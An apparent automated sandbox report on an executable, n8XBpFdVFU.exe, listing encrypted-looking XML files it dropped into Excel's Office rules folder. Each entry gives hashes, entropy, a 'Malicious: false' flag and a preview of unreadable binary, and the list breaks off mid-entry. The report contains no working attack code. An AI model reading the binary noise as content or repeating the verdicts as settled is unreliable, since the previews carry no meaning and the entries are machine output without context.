Preview:	<?xmli.w.J.I..4....%..5.].....{}3.D........sh.R=6..K_.........i..BF{..Nr>e,.Q.X.W&v...C8.>...<.6...A..j5.........n{..\.]4qSu.....G......\..6...."{N..V.Kkz.\|..n..U4.P...\..{.8_f.l..}..W]....'...S...:.8c.$.!...\|)IS..J=]......I..Y....%5...;U.^v0...k.gRdB..........H{......... ..P.U...\...<mK...2.!F_.v3......t........Y..FY..<.n.u..9..h......Lrn.d..w"....{..1k..+Rp.i.w......a.h ..j...w5...V[..O.....O..8.t2.w...B..{~.....Y...>.=.._....g!g9.i.......\|..K.Y.g..-.....<..Ak.vJr.VT.....$i4.p.:;T.B.=N\......Y..$$....,..h...O..b..ab%...4..-o.....Is..A].~.o.vea.;.D.&.W.K......W..U.e..t...mC..._x.W.X.......n..0eF.. r.......{..^.-.J.&).......I..9.....:...@#..%......g.y.`....A....s.'.y....W.Wyk..MK.{....t.\|.tF.Qq.b...v<....9O....sV.BIY..y...R....2.1..{<..a...G....A.k.S...2.../6...i...w.T.77../..d....$......a..V\.....x...\.^.....J.>...y.....j..t......W..j.....V8...Z)I....a.uR......,...-.I.[zb..V.L...n.....}?`#It....M..U8.....S0..M.)..Fv..I.hi........i..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120126v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1994
Entropy (8bit):	7.896969011470929
Encrypted:	false
SSDEEP:	48:1AG7mg4XkA6MUkrXe/bMyjffP7Okb7dD5uIREPLB0xc1+D:mG7hsUkjeoyDH7Vb7Z5uI09Ic1G
MD5:	FCC247B38242E9E4724A1FBCA6B44822
SHA1:	A3B1988C266A9FBB3483505D0F01557B2EE70AFD
SHA-256:	1AA0549AE432A51A4F44FEBD85759485EB3590241CA2DE8A73688F9F65297C20
SHA-512:	FC7636F20B54D0F85BF3571232A9DDD4FA9FB0B8F078B4AEF3B5A7DF3F14B7FF76598E0BBA02C4E7EAFDA21BD7C249ACBF0E818287F24B66E7CDE8AD1961FBC7
Malicious:	false
Preview:	<?xmly...){..U}...e....Q`..wG.{A..54...R.=F.......c.....?......D..3x....<.Q..+.V.Xw.P....q......@.1..r..2..,.0H......-?\|.3....Cw;...N.(..,Jx.<V.,.'.-.....f&P.PX..3...B.)..l\|....G:.1..9o.;W..;\...T..!.&...7.L...._/.;.....Rq.j.Gg...E...#\|.,.CC..sZ$(U..\|%..OIm-WO.v.).dx.X<....S]Z~.v..j.o!.W....;V..?..$..a..#....h"",.......!.7n.....Z...(.9.}.DC?j3..A.TX...=.t.....<:.b.2.....eM:M.q.....R..k.P...<......D 6.&......l-..?....~).kL^Q.}W\i.@d9..P=.w.o.B'......y.$...q(6A..g......K....>....7c.M,..A.H...@H..o5vZ...QH.@..z...;.....K......g...T5.OR.3.. .t..R7!/.?.[.,..j..n..n.&.....mJ.Bt..u.x...n'..:...t..m-.4..T..$...P..9)60X...U...eF^...f.Z..>.f..*..#.H.........?:I..!..}"F:a...Ad.D2/..CwlN..A..eq..../.7.......m....wQ....:.)...).U$JM...<.+..O.D.%....e.S..Y..muoJ.F`c\|.h.f...\|.hdk..r.{A..D...N...H.......I...5.....ct.....UG.1..bq.....>S.vM..L...E....=..[.X.}n..0JG..8...v...t5..WO.c....h....IO4...D..q._"..AO.....i.yf.H^........Z..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120126v8.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1506
Entropy (8bit):	7.8646582030927155
Encrypted:	false
SSDEEP:	24:JZhXCtqofkhLJI5/5CC3emwfC2CYz+NPBgDg91aP/wpopclvT+HR/bD:5XRoWLJI1LemwfCggJgsEX64tD
MD5:	C4F6A02F64C8EDFBD3ABD32DA2E626D8
SHA1:	9BD7109170F3AEADC0909F1C07E086890C44EB40
SHA-256:	E5AE30ADDF0ACCFFE1DDA453F9810C4A2AAA3E7890DA5EBFC31ABC271F07CE48
SHA-512:	0BFB1A0EBA8B41EDC1FD63C196011809050FE94A00E835925546F3AFDFD7F626A9A49540E80F135D9FE06DB0E6BF1320CA05AED4CB729A04A5C1A1CCA786E19D
Malicious:	false
Preview:	<?xml.e..}{K..`.a.a....,.(....}..K..I..[G)....e.i{.W..;EU..?._...............io.C...".v_y.E....}w+."{.qD....;..$z._}]...2I.......<.{Rue@U... #C......OSh.D.:.G..._.\.t.....c..&.mv>...:............at.jV.h.3......e@.z..........O.Y.............V...l.q.8.j..l.1.+.....u<..@..z..b..U..+?..w..4.6.N..<.=Z.B..cyJ..<#]..+.....P..i.i&.@..}h.........^.N......xr...-FKF..$A+.M.Z..Wy.H.+i;..!Dd'.x0.e.h..&AN...?...@PUF\|..z....$o......B.~...O7}=s.._...\.5..t...%z...n.p.I]R.GP.p..).4Zh@..V=.<`.....s ...?...mW..[.e(........)..)sG..^.@...QFEC.R..'...i.5.g..6..N.g.@.0..i<...F.!.j........V.C.zY..u....@.dJ.d.W..H..O".}.:.h.i.....V>..#..F....<...4J...'.6p...C8..`...".....bEMN.......j.[.df..R".."...#ou....l/.#.......c{..GC..W?FQpp.1}.>7Z.-.>-e.4/..;..^.d.fv.E.iQ.\|....qwSw.......z....>.........R....z..p..hk.#$...wC..W..yp9.$..b./.O!NFi...$..x......5u...,?.B.V...jV.........N..\|T.{.}Nf........R.....Q\..e.....w........m.....ps.pS....z.S..'_.......:.]...DoR.1..E...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120127v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1511
Entropy (8bit):	7.867892969899611
Encrypted:	false
SSDEEP:	24:qAOuwKMZEsRKW1eB1hTnEFypHdS7wdgSvU1Kzf+TdC3KwBGZsSzrsa58mP/wAQOX:qnuOZBamFN7nOU223Zsha1/4sD
MD5:	AE55021FDD5A9851CE4A117C2983ADFE
SHA1:	743B7DD8B3C6B2C06858CA2204BF689FCF0838EB
SHA-256:	3765EFBF7EF318BF6BBBD953D324D1AF702FA3F472629A38847E2132AD0CD7A1
SHA-512:	1AC53F1E321CE09F4EF25B5F42EED9B501DBC89563B173678430597AD720A328FC5239685B1FCFB8EA82FB0063FD93773A4C8F40095D2B92FC24EC4D6D255619
Malicious:	false
Preview:	<?xml...4...\Sp/!....>........<......&yhW.]..<F....}.e&hr.t..B..=9S.Q...?c.......9U..y z...N6..t.+.L3~......V.c@\U.?F.Sr6"..DX....=0.JK..4.hHy....E.L................S.n.....>..z.[...g...b...X1.3.Z..+...\|.=...m..W.}..sh<Jr..\|o'.g}6..9}}6.3.5......$3......+7.&....o..J...6Mb..CJ2'.gR..RM..][........I`..<......./{X=K;].NW.......6.`......kr....M".g...h.h.(JQ%...ei..).O....Bn..j.....m=...H......(.CxJg'...%....M....q..=..R.T.L.k.6er........#.......F..TmmI .59..2.a.J..._.iw.h6....T8i..j..v..c,..+.[D_..b......,B..>....l...E.............=U.-f..nTx.t,..A..&..s.1.W...L...gv..:C.+.sn..../#.4..1......?&.L..;."...GZ:.!.`..}.2.t..'Q.%..h.Gj}....1.{.CT..#T....#!z...6.........0d..\|.x.H..fL...t..D./.........i.d..k..........L.I....A.#.L.#.....)m....z.O,..0....8....$.uX.m.b..V..sb./c.A..I......#....p....k...U.h..x....N.J.....db.9&$%.M.T.A...;..(..%P...u.*t...f..Rl......T> .D.e\d..C.t.H.0.....o.r5..+g.g..........p..Z&.H..!..J.=....3=..V.X....e..N..B.FlA...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120128v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	991
Entropy (8bit):	7.769252615626983
Encrypted:	false
SSDEEP:	24:R5CX72Xp8x3/GgVF7HGwHgjBGAOY39N+OG15lOsvAbD:P4yCx3xV9HsjiY37C15lkD
MD5:	F8898DCA15A1139CD648001E853C4BDD
SHA1:	2A262B63F07001BF0F3C338844FAD2A50F1E1BEB
SHA-256:	F78D35C2D1D6876F56CC8FF42B35D8036246B6E035FDF0DF6465A6A596D36E71
SHA-512:	249411AB825657F933494A591E52179F5400FCE47B2C3212C88FC6B8583D04D916FE3BA2232280C2037FAE4BEEAD7798BA39B7585EE773825658184E3F524A60
Malicious:	false
Preview:	<?xml..y?...}E .U`.I$..L..r.K.....!.}...$(.......M...=...F.?.H.._.?.......;+Q...... kH~.1...~-...6.y.`....;W.>F.R......L8......."..q.9..4.6..cp)...:.{...W...N.....E.C....-P..G........[.e..9.cWBr..{g.>..]....k...7[...o.I...........m=j.+om...4.(..@.z.S.T..=A[..~...=9g.L.p..+...\.Z.b&.H.S\\.!<E...3.X.'.K.H..JN.2'...k_..U.......RB...}h....ee..>hxT O\w.2.[^.y.w....O.Dx..%.n.#.~3..W...gZ.;b.Y...2PAd...3._...(......."'.....O..!.s.....k.,.b(C...3......f..'lm.d..Nf.%0.OL+>}.P6...%...M.......j........R5^...5c.5....\|.5.Z....$.r.S.g.....Jc.9.q.Z.(`..AO.>..... ...W<h..&.:.W.{......Q.B......_./y8.....2P..._hgM..N......."G..\|w'.A3.Pe...E....^..(l..S/\.o._W}.%.b!C.x..\!...S.t.J.<VS....7X.O....)..2......\|....E..).,..".E4&......6{.1.._<..Q.W.J"akq...............;.._{c.I.i.K..>..y...Q.S..{...j.e?7=9..N...s..[.;1.!.\...Ae...{ ....q..C]v..FI..E+'.XV..[....F.dD...D...T.hOLc.UB...t.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule12019v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	4150
Entropy (8bit):	7.952248998707819
Encrypted:	false
SSDEEP:	96:ue6HH96/+3h6aOaayS8vQ4C8A+Sbr953T:gHHQA/Oa3JCz55j
MD5:	867CD57F0A5C22CFB1E496163C7BF84C
SHA1:	AC4C64D94E5F704BEA94655CCE5E9F55262187E1
SHA-256:	CF4DFB532CA1A265CDF5E8EDD5A0742589DF56FA7422C8296A534A0E867BAEB7
SHA-512:	02B6E77E0D2E296246489F0275E9D35E84A3D32593FB9EB38A1E4DCD611A6DF435026E0EB7A1408EA6A07BC6667784F970A188F2B14989A2FFBC618BB0E505F0
Malicious:	false
Preview:	<?xml..=...1.w.c.-.z....2.O.....c.......Q=/Y.L.7$7.Q...........<..x..`M}..9aY.J...r..:.....\Z.j.R..3W=.o..n._.HF.l.-B;..,?R\|...F.>Q.@...Q.".Fm.%..}...>o0..y.%_.A.gX..+g..d...g .=.o.1f...}..u.$Z:..i.$....e6.l[E;.f2R...gr?...M.......p.a..UYA.....F. ...9..Q.....3'...\....9_w.P...l..,...?{.A...L:&..O...Z..x..-..G$......ca.......@..pm..-%.`...,.i...c....@../.G.....7.S.9^.hg...8:..F.s_M-_.$.&y..S. ;Sc./4.9.2...eR...../....x{.j.H.....WA"~a./h.Bb..-NR.#i.....1..G..vv<..X.%4..W&Y.....+..t#.h@..uP..".x.+...,.L..R.z.5.Z.H..........(3...OFI........3...W...+).qNQ=..j.....8..l w.O...\%v..rS.~.<.-...d .....D..5.A...`.4.!FV;@.......i6......_ .."..p.6k.%.l1.....(.~/.....+....`..!W......D.un.4u9..S.b...W@.....yhY{B..A.....'..li.P.n.([...j..)K.. ./2.7^nX.M.B.8.:...2d..88oM......i4..m.......u..2..#duE.G......G.`.z.... ..2&.\j.<...1lL%C.....eZ......y..x_b).zT..=D+f...;j...o...#.....H.=...n8!..b8X.aQ.H....{....p...++M.."........].`*3r..R....b.3....ZW.I../m.K.-.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120201v14.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2974
Entropy (8bit):	7.930396369043684
Encrypted:	false
SSDEEP:	48:pCKGgoa1leLhxp+UF2Oc3+VrqIIWN3lSf07mVNaBDcpQYQ/fyNP2zwps05HiD:pCcoMlerppFmOZllWke0BDc+qNPWwpsd
MD5:	9FBCBF838E28D640D93EDF826D6982CD
SHA1:	7D7A4482CE0E14A1A210B3EEC0FC44CEB7E7538A
SHA-256:	F22B97AF8BF5AFD9C4EECCB05F318C7AF93469F68F70239EE74B46724961D712
SHA-512:	2F3FEA76E81E501A7CE1542B40360D0E1F2C9A4C45DBA10E0D9F13BF94F47812299DD15FCDE344162C8EA1A2FF334C9BA49563FD0843833B042C275FA7EA46D3
Malicious:	false
Preview:	<?xml^A...N...J0YkP.<."....6%g..i...,.......O.LE[mx.k.q........]..]Ex.......i.v...>)N.....!.......~L>f.......K...(..{.}/!+4.9bv.'. .pW.l..@`.?.c..}...)......Ii...h%...d$8..F ..;y...$.F...>..>Q.P.G..TA.a..u..^/.2"..Sy....>..+...b?...j/...\|...6..../.L.....n..g.n...i]........Pb...TL..VMH .....di.#..<.I..PJnz..T.@.h....._8H1....]"..V...5..&.H(.....?7...B..?.R\|.@,.+...R5.i]tTk.N.F:...#.+.v6..........z.q..^....-.u...MW.\|./r~~...,....c..3.I.q6..6..}.:%.I...;...'.(...N.Jz-.r.X\0.[a.YB...."..........A...L.]Dy..=..O.D.fsuyQ....]..2..4.../..h.lt..p>P..`.....l&...BY.....^...."..~9.EeC......s...-..1..2fa.{.U..;&T...`...c.......>v#..&.J./]$A.[^:y.^$.......@>.qV....."....q.. ......f.Y...o1"......f..&:..+.{.dq.l.t..B......U..SrdT{.....z.K..].....}....].?O........)*......v......'w$.)..H..\|\`...lv.5..&..B..b.2...3.. &...!,8..:V,.'(v..7...'...RM....T.zk.E.%..x.[r..O.tG.....cin..<.G..\G.wy..L...+..4.oN/w0..^.)...Usw..}....5w.)..^.kFh.;....j-2.4t..._>@;.$..6..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120205v11.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	3363
Entropy (8bit):	7.938329921644254
Encrypted:	false
SSDEEP:	48:qfsHUpF6v5GNybTRK2aUtqy2/KdszNfMO7fhlnshsH37eAvpra9Dicn4svdeeIrn:mavQAQU0ye5M+MA37N40qZnIrsSQDa
MD5:	5731D0E435FB5562F496EB6158B9DA84
SHA1:	E541922B60EE65437BC1C796EF9FF4E34BC85781
SHA-256:	1AB3FCB160C2A8649F75DE8C9D02DCC68983DE9FAE652F64D6610583640E3E0D
SHA-512:	B9FDFB8AFC0458BF7BDC289D07D079BE442597CBB74F9AEDDCC61CDFD943ABDC1D86C89EF30CE5AB5D95594BFAF447085EE9BA74A2AE869E8F37C4EC8CC0F38F
Malicious:	false
Preview:	<?xmluMY3.:.V......HA......Y,...ie.Z...M.6...q.....?.T.Q.zn...e.T....s...l.v...g..W@.#;.[.....+.....{bS88....L.U...s...............}.xd.+.Z&.a..;.......5.#.<"`KML.3...i....h^@..D..]..F.....w.)..eb@fe\|Z.Kr.5U..x.......2..U"../s;A.x)KE...m..4.s5?..mD..=..u7..}...z..6.....D..:..#D..w.E....}..........v....;.Hd....g.N..%#h....e..i..}..A..T.z.{)C.L....,.......\$"K.{!.M...=...!.0.6...A.A. ....4....v.{3..^.^...+.T.."...K..O.g......m.lj.VW....o.....=..h....L....+.0cS...J.sU...`.j.A.1...'/r.~......cI.4.Qi...N.f.Z"{IV/...........Q=l.&.m.O'.7../8?.._U.<..R...D.......v..l..N.c.3...q..vL......e..WQ..q.......^";...,\rz.TMX..@j[.@...a-...V .6.A.R..h.a.....I.Z...Y=U.... .H.>..G......".X....Kge.@e.B...Xj...Qj.I#.mCb...!..C..]8!..I".1......z.!.@..!.a....Mbk..,.}/>g..LK.F..!..]......].....A.]n_E...A....=.X...B.E..."........,..{.o.Y.....J.=N5...Dh...},;......B..==.z.3..{..p.dZ.q.-...f.J^ vw.8.h..1.f4...>..%W..>..h..6.2..../*..5.. ......M.0t....c..m.&.......0..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120300v3.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1295
Entropy (8bit):	7.840237719794853
Encrypted:	false
SSDEEP:	24:wE/AKDfTpCP/4Fp7aGURylmkOfVRB7lT8zd90ezGNwapOg8xnGgh/hIHbD:w4ToPK2GYw217ULqPOjnj/hI7D
MD5:	0F19725244066DA9D209A5956ECE8F47
SHA1:	01FBAB1FA3A757A1093DD7231DE38566FA316ABA
SHA-256:	0178333BC3FB33788A6008BFB85C49A070B08D931678EFF2DB52BA866E585F7E
SHA-512:	2008BAB0E1B8B1E2686D6E92C0352F6474A87DB2CADA81E67F5E4CBC445D0B3DDCEB3F099038006EBAE4CD108285830B94A490DBB0226FBD1F23AE70DE3796ED
Malicious:	false
Preview:	<?xml.'b...o..tU.\t.{a..A....{AMB....-..'.....R..k?..N.......H..............Ca..1.5.K.%...3...M9.V!..\|...cE..@D......gg.\|.)..[...-n.Y.a....`...%..........._..~.1..yL.e...Pz...F..>..._m..H.1.\,..L.......#w9.......\|...d6%.G.y......L..Al{\|.1.u.7AB.+.t...LPX.o......^.....5.-v.0.4,Yt...#....CRH8....9..d.iR'.S4...`<..r;[~.!.Y.RED..Z.. [.Rs....,.AV..uy.Y..Z......]r.t..Z.../.j0'.#.!.h...I..U.....k....6....h........fYd.K....I....jcd....S....WnDJ.;FP.....u6V...O....@.4.J.O.R....TZ.....^...N5c7w.SM.yz}.RO..H.).x......oI.h.Ai^Eq.9.51./:...6s.k..2kO1...T.X.t..E7bd..t5V....`~..x`....]..=...........Q5.....zO.uV..s.>/e.....r.1.<..c2/.{.S.C+0......Y...T...O....?.'...G..D .3-p....>iq..5.....+.w.d.i..+..#>J@.h.....XJ...Z.B.-....v...`.c'..>...s...<N..:.#...q"S.#....n.=Zv.C......S.....n.q.Yxn.$.~h.........?bzy.9..%4.J...^....P...S...UyF*.3.1\|......3...2...L.Q-+_<E8........03....C..7..D.....4.=...g.z........is!.+).m..p...2..y..q`~..azw......b5.n..0..y

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120304v5.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2582
Entropy (8bit):	7.92480643454475
Encrypted:	false
SSDEEP:	48:+97E53vYzy1teiQRJWUutimZc8xdZSkzKFajFFN5KmD:S7E5NKzT2FzxdZ6FajFhf
MD5:	1406D9CA5561615EA1509A8CD7362FE9
SHA1:	92C9BBCB0D512AEE66FD0ED0F67E1A46CA1459DD
SHA-256:	8D58D2229B1C81F05FD708840E4A406BAB966ECBF3720D03E12E2852ED41C0E4
SHA-512:	74FC90EAE8403DA46F359A77CEBD743597850535723A9CC5D63655AD0A657D61049F63BDAA786476E196C3A3B85F7437A3A379371931001450B390ACDF14D747
Malicious:	false
Preview:	<?xml...e....'Z%...Tm..>.g.s(.v...G.+.......,.......,..`.."EQ._..-.).t..}..n.<U.....Gz!..C.."A.Q..w.....R......@.@#/. Gm'e1h.:...>...V...M..Nw3_..........}.c.Tl...2~m..h.8..O[Z...b...(........%.....T..{4]T.}....-...B...$../........H..31._..A....B..W.z<xH.Q/.H.....}.,;.xUS...}B.....:.;c./Fg...~.Fb3...,s.\S...eW......(.{i.\|.Kh${...H.K..U....A..9.S......g..i..WMl.r..V.q....6.hM../.k.a....pk.P+.%.t.gdh.&...4...Q.+s.GO..l$\....!k...f....~6@F.}.$..D#.1..xh.Pr....4......t..#Tu.m$.3p\|O...Q.JuR(g...G...,.`..h...W.D.....]z.`fU..._.....e.q.&....W........vi>).O&..O;...... o.b?..._2.e.=.D.3#.V^.....V.....0..>......p.%x.'."..U.lS.n..U.z. w'...>(J..G6.s8..6F...,..z..]a..j....m&F.j....l^....@......[.k)K......._...s.odsF/.n.Hf[.\|.......J...oQ.......1Uu..y.g..=..MG.v...dc;...G". x.;......=Y..R.=.21..TG.3l.......;.B(....%..Q.FZ3.e.Ex.[..[0oV'i...!Q.....h.V...F.4/.........8l......p.....Z..F..."....#.V....Zh..2_.....Igb.....~..Ogq.....r..(..D......E...'..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120305v3.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	7.910063568279862
Encrypted:	false
SSDEEP:	48:G5iRWKZAIsSdEkRf1xeYX2A70JcTwR46+7ovZg7TD:nRW/8vRfbewB7ateLb
MD5:	64D8F4433D5DD7F8CFC90B99AB2B023E
SHA1:	3950641CEEC4D25C837019B8DB45068613EE3574
SHA-256:	4B5FB84C6333373496F55E0BCF599F5D0E03E57A5716F0389A35D44640FDA544
SHA-512:	340ECD6558298E02DC401B9D2591D59F8C266DF0078728F2D3260927B16D9CCC8B52113D5C239D5451893A551F2B48DE431722A99330F185DF0DF2A13CDBAD17
Malicious:	false
Preview:	<?xml..&4\1..DC.GH.... ....I..W..i..G..y.kj.#.."g..y@/....h......]...Ao.c.:......S..........:..O..n.<HS.%.unH#..N..._1..s.fe.. +...,<.gX.L..+..3cz.z4C.Ps.'z...(...J.."...%...!r..i....=<......!.[.?.3F:^.0....(1.?........[... ......^].b..`...hR.b5['.Lp.....m....m#t~/..v.CF_D \W..\.Z~....]x..n.:...........?..8.O.../B.FN.....-R_...k.}..;..._.6u_.B.2.\|..o.O.4./..N....6Z...%-..p..a..3...qd...x..f...d._0...62...2.#.M....X..nw....$Z.6...^.c.4#..6...(....6...S..$L_i.,......!@V...0...i._.......%...+...,......../......'...K.o9@..u......g2..[.......w.Cps\|....'.p_.......I./O....:t..B.2F.L..Q..u....o..=Q...}.Lsf.y..t.{b!....W.H.......Z.w......E.......e...X3......Up.\|..-88...r.&..T(,\Y.8..P.........Xw8tX.X%.f..D..[\|.q.y9..C.....(.Av.O].....+n.U.3>......._..+....u.Ll)..?=I.2...J..h..~.y.?.ZC.2.[...-..;(.C...T...>v.TVh.jYN....tc......F..TF.3;z...V...',....RA.......z.T....h+s{..;.9.vh..j4..Wy......}..t....hL..A...u.*.h2-...e.. ............HU

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120307v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1583
Entropy (8bit):	7.881524989377714
Encrypted:	false
SSDEEP:	24:o0H0tU/tJaCKJaqIRDXGFx3xsaJb0Bq6Em0iHc8jKKHCSa/RGN5JEbD:lUteeUe3xRJbRdm0i8rYCSa/INfOD
MD5:	8782DAD3DF7917A13CC3C03F794A43A2
SHA1:	A6CA16CE27B3173EBC81FC06AA3097A0EFACFE44
SHA-256:	41EFCE5021716E68CF2B81C6A5ADC7CAC0817899E765EE5594EEA40FCBDE97C9
SHA-512:	24ED86B2CD315402DA409567323777F6662EB7630A0C1B41735C6534BA707678CC648C105C91F68D728F97256A02E17FDA3E0D5ADC9DC0A590E96E5EAF22CDAF
Malicious:	false
Preview:	<?xml...gkh..v.t...g.i..)+.G..l...L.....k...........kW....T.H.vy....Y..`.:..h....~........GS.{-.Y..............h....G.1R.......;..cs.....%.u......I5o...n#....j..7_'..]{.-....2....8WR.....T\....:.1h&+.....kE.2.n...T.)$.b...{..Uu5.Xou.Z_M;...L6t.!../.zpM...p8......4.(4..l....EM..G0.U....o...L~..h].....4......Q...+B.:s.....\|......'..e.4oT?.j..=..:..sy....y................T7......^:gb.u.../..:c.}.\|.d1..\&.p.A...KzE3........../.k..D....\|F7....:....f.^S.0....}...I.v..,.%.Y."rO....i7.h.`.ab.}..;+M.o....3.v)....y....w..uJ......(.. `\D.Z.u....../..z...}R....~..DC+..>.....^.C....p./.F.z.d,..........m..b..:t4..b.2.../+.k..,L. ..r...n.Q..'H..Q.W.&..._.R.......Ip.cu..4(`1.%?X....._.$....<.S.v...=.%.1....Q..E..I.U.J...T.q.......JV.........c........w..54m7.s.0t...T=4.W4/wl .N.da.P..^.....ADt.Z.{.c.e.P.Eq..xA..m....~b......F.L......q..8.Z..G.....f8....#..c.q........./p..C..O_..N.7.:... w.....f.0..(....f.z5S..Xu[l.z9..k&.w.E.Ar./.@..K.!i.P.&.g@2.=.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule12035v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2801
Entropy (8bit):	7.93330613263934
Encrypted:	false
SSDEEP:	48:0DrHVcRV9CZTfPwgxjxb7sieunTlhbOrsvWDJkVdJToKu0IgQYmQXAidpUiiHD:0Dr1yk7wMFgiVTlJ6DJke5V+1dpgj
MD5:	BAF299A6F4EB6660DC9362FD4712BEE3
SHA1:	FF1AA64E048E89E37886A718237A4B5CA70B2E1A
SHA-256:	81DE5E93B9AE7DD644C8AE96DF03EDCC9DB14CCE644002BA5EEBF4CE17C4D781
SHA-512:	6277F03F904297415659A6B72A78779E2B0E53AC896ECC395F2649445EF24ED4B3DE13DCE27391B66A2F47D383B7462F2E7079B06FA667372F2C4B796D995958
Malicious:	false
Preview:	<?xml.<....pt..#.o8.`.+.H+.].}].s=...>.H....G0..]J...)..`.&.Hg....H.A`.{:v#...6.-.cr+.X..J..K.\|.p./.....[.^..c.i.2..U$.K>yQ..3.yI.....v.qO.H....KG.....nGs......V.. .~....ak.......~.<.z.......x`..=...\..sZ...5.....@...JSx.z...4q..QQ.<P3.. .^z...D........P...W...d.B.].y..q.. ...W~.=.sW~s..!....j...v.%q..O.=.dl_NN.X[F..4..../<.. .........(.~.k.g.^.).I..~.4\|....w...8...P..!.....u.#wl../v.S1.S..S.2D.....~.&.E..-..T7.@....Eh1)I...p......D........gT.....A.C.6.5.7Q....+.l....e..c.C...j...B$..U...!.54ps:.'3..:..eS.r.>..}.. .Ch.....6.i........7e.F.tt.Z...K......J...{.,@.5...=.._.{D....A.V...I}Q..0.s4.%...,P..w..6Qk5...`.O...`{$...<..Hq...E...Cy{+...%7.....}........\|Fx..L.w..%...v^n...]....P...4H...h.Q.....&.))<[......v./.V..wz.......#b..A....S.0..c.R8...=..u9.....kL.~;..C......tI......?R........il..]5..5.o...%.,.o........*.m;..E.nyi.:p....1d.^5~.>k_.Ac.'.6......D?....:p&....c.7......s\|0J.;S.........,&..w....1.C.....k\M?q...BY#k0.3@n.]..0

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120402v21.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	4121
Entropy (8bit):	7.964816913453758
Encrypted:	false
SSDEEP:	96:VEDqb4WcM08OuuEnSZ/zwqp1bn4FrmJfTVtczCr:8qbJ1kRzrOrAfBtczCr
MD5:	69FE690F9E4F7DFC6051AAEE3D9B5D88
SHA1:	AB14C0B27CEC6089CAD8794B596F53290E567444
SHA-256:	7140817D68E2B96CF5BC8617F58489667FC7FB283C3C7E70EB2B201C7A5F665B
SHA-512:	5A8647358B06232BD487B8F0061F83A0A7DD071D55BAFA7A9761343903D7F9AA3111E00BE38D811E2D03700BF7B80331743EB59C6031678774C889F2767309F7
Malicious:	false
Preview:	<?xmlkB.I...".s......3n.....0<.}..G....++........D.D.....l.......g..M.1..3......TEHzq.Zb'...khV...._'.A.."V._.......A.....&.b.V.y.#l6...j..A....8T..!Q...t9.D./..@.:\' k/J....\7z......\|.....TtK#.}b.?.c.DKL.U$.e..N.ZQ...}[............M..o.......t.....I.z.u@.W\......0.....p...k.m......f.6.1(2I.g.d.v.`l..V..S.!..Sd.((..P.S...}{....k.....s.ps0..O.$..K..+.5.Z......$G......aQ.e....:....:.z.ukz.....c.#..p.......,.wg@..c+.)k.CbTIVb..h.ML.!....F2.........(%...G.?....<...1...o..'..+....x%.........l.-..).r{..Z`.....m.<..^g/..B...6..!...'...u....Z..'.....o._3m...L.%[..Y.\!qW...[..4.p..d......e.f.R...1._$q0.....1I.pC.5.k...j...A,h%...F.o.....-..Q:....F0.W ..q....`..q....4^.7Wq..}Z.KM...,^.`IN.?..3kw...V...x'a.1.4.MO.[.a{.TAI....S."..>...7.G...>....X.@....8..."......A7B.i...6qdg..E6..j9..?Q(l.1..M.]...$.......w:.v..N..x.}d...F.........T../.X$. "..Ec.y..+.$.t..#.2..y..z!BM.t.......Z.2...j./f7.!<o."p...P.P...5O....)7......csPML.j.P.%.O.P.....&..YJ...7..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120501v17.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	8140
Entropy (8bit):	7.976108012563757
Encrypted:	false
SSDEEP:	192:0TeFmjYS2VJJ2t6dyTGOQOX85UkzWzua75OW7:0TemYSKJ0TGROs5UXCa77
MD5:	90DDD21F9A02610121E0157DE4DD7B8E
SHA1:	8BF0396DA2CF6F10092C8128D45C09664752DAB8
SHA-256:	80629F1CE796C03836ED526071F97A73E7EB9FB5DABA45079F38D25C0AEA80D9
